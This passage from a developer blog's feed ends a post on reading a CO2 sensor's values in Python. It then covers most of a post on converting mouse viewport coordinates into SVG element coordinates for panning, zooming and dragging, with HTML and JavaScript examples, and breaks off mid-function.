&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;status: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;interval: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;age: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;readings&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;address identified during scan&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the code will give us:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;co2: 1443ppm
temperature: 22.95C
pressure: 1031.3hPa
humidity: 38%
battery: 93%
status: 3
interval: 300s
age: 38s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&amp;hellip; which means I should get some fresh air in :-)&lt;/p&gt;</description></item><item><title>SVG and JavaScript: transform viewport coordinates into element coordinates</title><link>https://davidhamann.de/2023/01/13/svg-javascript-transform-viewport-to-element-coordinates/</link><pubDate>Fri, 13 Jan 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/01/13/svg-javascript-transform-viewport-to-element-coordinates/</guid><description>&lt;p&gt;A couple of months ago I built a JavaScript application that allows adding points and labels to locations on a building floorplan. The whole canvas (not HTML &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;) is a SVG document inside an HTML document and points/objects/labels/etc. are added to that canvas as native SVG elements.&lt;/p&gt;
&lt;p&gt;Users can add/move objects on the floorplan but also zoom and pan the floorplan itself.&lt;/p&gt;
&lt;p&gt;When performing these actions it is important to transform coordinates from the screen or viewport (like the position of your mouse/fingers) into coordinates that make sense in your SVG element&amp;rsquo;s coordinate system.&lt;/p&gt;
&lt;p&gt;In this post I want to share some of my notes and a simplified example on how to achieve this using a &lt;code&gt;group&lt;/code&gt; element with a &lt;code&gt;transform&lt;/code&gt; attribute and a few objects (&lt;code&gt;circle&lt;/code&gt; elements) inside.&lt;/p&gt;
&lt;h2 id="panning-zooming-dragging"&gt;Panning, Zooming, Dragging&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say we have a setup as shown in the following Gif:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Zooming, panning and dragging" loading="lazy" src="https://davidhamann.de/images/svg-transform.gif"&gt;&lt;/p&gt;
&lt;p&gt;We can move the canvas, we can move objects, zoom in and then move objects again in a zoomed/panned state.&lt;/p&gt;
&lt;p&gt;If you look at the inspector window you see that the zooming and panning is performed by changing the &lt;code&gt;transform&lt;/code&gt; attribute on the group element with id &lt;code&gt;main&lt;/code&gt;, and that moving an object (a &lt;code&gt;circle&lt;/code&gt; element) just changes the respective &lt;code&gt;cx&lt;/code&gt; and &lt;code&gt;cy&lt;/code&gt; values (as the objects are inside the transformed group).&lt;/p&gt;
&lt;p&gt;All the movements follow the mouse pointer in a reasonably fast manner.&lt;/p&gt;
&lt;h2 id="implementing-the-start-of-the-pan"&gt;Implementing the start of the pan&lt;/h2&gt;
&lt;p&gt;A first (incomplete) approach to implementing the panning or dragging could be to store &lt;code&gt;clientX&lt;/code&gt; and &lt;code&gt;clientY&lt;/code&gt; from the &lt;code&gt;mousedown&lt;/code&gt; or &lt;code&gt;touchstart&lt;/code&gt; event and then calculate the difference to the &lt;code&gt;clientX&lt;/code&gt; and &lt;code&gt;clientY&lt;/code&gt; from the &lt;code&gt;mousemove&lt;/code&gt; or &lt;code&gt;touchmove&lt;/code&gt; event. While this difference represents the amount the mouse moved in the browser&amp;rsquo;s viewport (window), it cannot be directly applied to the transformation matrix of our &lt;code&gt;main&lt;/code&gt; element as the SVG document on the page may not cover the whole viewport, might be in a scaled state, etc. – in any case, we have at least two different coordinate systems.&lt;/p&gt;
&lt;p&gt;The effect when not translating the coordinates is usually that objects move either much faster or much slower than your mouse pointer.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s now see how we can transform the coordinates you get from events to coordinates you can use in your SVG document.&lt;/p&gt;
&lt;p&gt;A minimal HTML document with an SVG document inside (as seen in the Gif above) could look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;html&amp;gt;
 &amp;lt;head&amp;gt;
 &amp;lt;title&amp;gt;SVG app&amp;lt;/title&amp;gt;
 &amp;lt;meta charset=&amp;#34;utf-8&amp;#34; /&amp;gt;
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1&amp;#34;&amp;gt;
 &amp;lt;/head&amp;gt;
 &amp;lt;body&amp;gt;
 &amp;lt;div id=&amp;#34;canvas-wrapper&amp;#34;&amp;gt;
 &amp;lt;svg
 id=&amp;#34;canvas&amp;#34;
 viewBox=&amp;#34;0 0 1024 768&amp;#34;
 preserveAspectRatio=&amp;#34;xMidYMid&amp;#34;
 xmlns=&amp;#34;http://www.w3.org/2000/svg&amp;#34;
 &amp;gt;
 &amp;lt;g
 id=&amp;#34;main&amp;#34;
 transform=&amp;#34;matrix(1 0 0 1 0 0)&amp;#34;
 &amp;gt;
 &amp;lt;image
 x=&amp;#34;0&amp;#34;
 y=&amp;#34;0&amp;#34;
 width=&amp;#34;1024&amp;#34;
 height=&amp;#34;768&amp;#34;
 xlink:href=&amp;#34;background.png&amp;#34;
 &amp;gt;&amp;lt;/image&amp;gt;
 &amp;lt;!-- some &amp;#34;random&amp;#34; points --&amp;gt;
 &amp;lt;circle id=&amp;#34;p1&amp;#34; cx=&amp;#34;512&amp;#34; cy=&amp;#34;284&amp;#34; r=&amp;#34;4&amp;#34; fill=&amp;#34;blue&amp;#34; stroke=&amp;#34;black&amp;#34; /&amp;gt;
 &amp;lt;circle id=&amp;#34;p2&amp;#34; cx=&amp;#34;500&amp;#34; cy=&amp;#34;300&amp;#34; r=&amp;#34;4&amp;#34; fill=&amp;#34;red&amp;#34; stroke=&amp;#34;black&amp;#34;/&amp;gt;
 &amp;lt;circle id=&amp;#34;p3&amp;#34; cx=&amp;#34;490&amp;#34; cy=&amp;#34;330&amp;#34; r=&amp;#34;4&amp;#34; fill=&amp;#34;red&amp;#34; stroke=&amp;#34;black&amp;#34; /&amp;gt;
 &amp;lt;circle id=&amp;#34;p4&amp;#34; cx=&amp;#34;430&amp;#34; cy=&amp;#34;250&amp;#34; r=&amp;#34;4&amp;#34; fill=&amp;#34;red&amp;#34; stroke=&amp;#34;black&amp;#34; /&amp;gt;
 &amp;lt;/g&amp;gt;
 &amp;lt;/svg&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s say we want to start our panning action when the user clicks on the div with the id &lt;code&gt;canvas-wrapper&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once the document is ready, we register the event listener, for example like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;canvas-wrapper&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mousedown&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onPanStart&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our function &lt;code&gt;onPanStart&lt;/code&gt; could look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;onPanStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;clientX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;clientY&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// get our own transform matrix from the main element
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="c1"&gt;// (we will modify this as we move our mouse along)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;currentTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;getTransform&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// get the transform matrix used to convert from the SVG element&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="c1"&gt;// coordinates to the screen/viewport coordinates
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sctm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;main&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;getScreenCTM&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mouseStart&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;transformFromViewportToElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;clientX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;clientY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sctm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;currentTransform&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;mouseStart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;transform&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;currentTransform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;sctm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;canvas-wrapper&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mousemove&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onPan&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;canvas-wrapper&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mouseup&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onPanEnd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In a nutshell:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We get the &lt;code&gt;clientX&lt;/code&gt; and &lt;code&gt;clientY&lt;/code&gt; representing the point in the viewport where the event (&lt;code&gt;mousedown&lt;/code&gt;) occured.&lt;/li&gt;
&lt;li&gt;Then we get the transform matrix of our &lt;code&gt;main&lt;/code&gt; group (in the beginning &lt;code&gt;[ 1, 0, 0, 1, 0, 0 ]&lt;/code&gt;) which we later use to translate/scale. The &lt;code&gt;getTransform&lt;/code&gt; function simply reads the &lt;code&gt;transform&lt;/code&gt; attribute and creates an array from it:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;getTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;matrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;main&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;transform&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;matrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^matrix\(/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\)$/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;parseFloat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Also from our &lt;code&gt;main&lt;/code&gt; SVG element, we get the matrix that transforms the element&amp;rsquo;s coordinate system to the viewport&amp;rsquo;s coordinate system.&lt;/li&gt;
&lt;li&gt;Now comes the interesting part: we transform our coordinates from the event into coordinates for the element&amp;rsquo;s coordinate system (&lt;code&gt;transformFromViewportToElement&lt;/code&gt; function explained below).&lt;/li&gt;
&lt;li&gt;Finally, we store the values in variable named &lt;code&gt;canvas&lt;/code&gt; (&lt;code&gt;let canvas = {}&lt;/code&gt;) for later access and add the event listeners for the actual panning (&lt;code&gt;mousemove&lt;/code&gt;) and end (&lt;code&gt;mouseup&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All the magic happens in the &lt;code&gt;transformFromViewportToElement&lt;/code&gt; function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;transformFromViewportToElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sctm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;elementTransform&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Transforms coordinates from the client (viewport) coordinate
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="c1"&gt;// system to coordinates in the SVG element&amp;#39;s coordinate system.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="c1"&gt;// Call this, for example, with clientX and clientY from mouse event.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// create a new DOM point based on coordinates from client viewport
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;DOMPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// get the transform matrix used to convert from the SVG element&amp;#39;s
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="c1"&gt;// coordinates to the screen/viewport coordinate system
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;screenTransform&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sctm&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;screenTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;main&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;getScreenCTM&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;screenTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sctm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// now invert it, so we can transform from screen/viewport to element
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;inverseScreenTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;screenTransform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;inverse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// transform the point using the inverted matrix
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;transformedPoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matrixTransform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inverseScreenTransform&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// adjust the point for the currently applied scale on the element
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;elementTransform&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
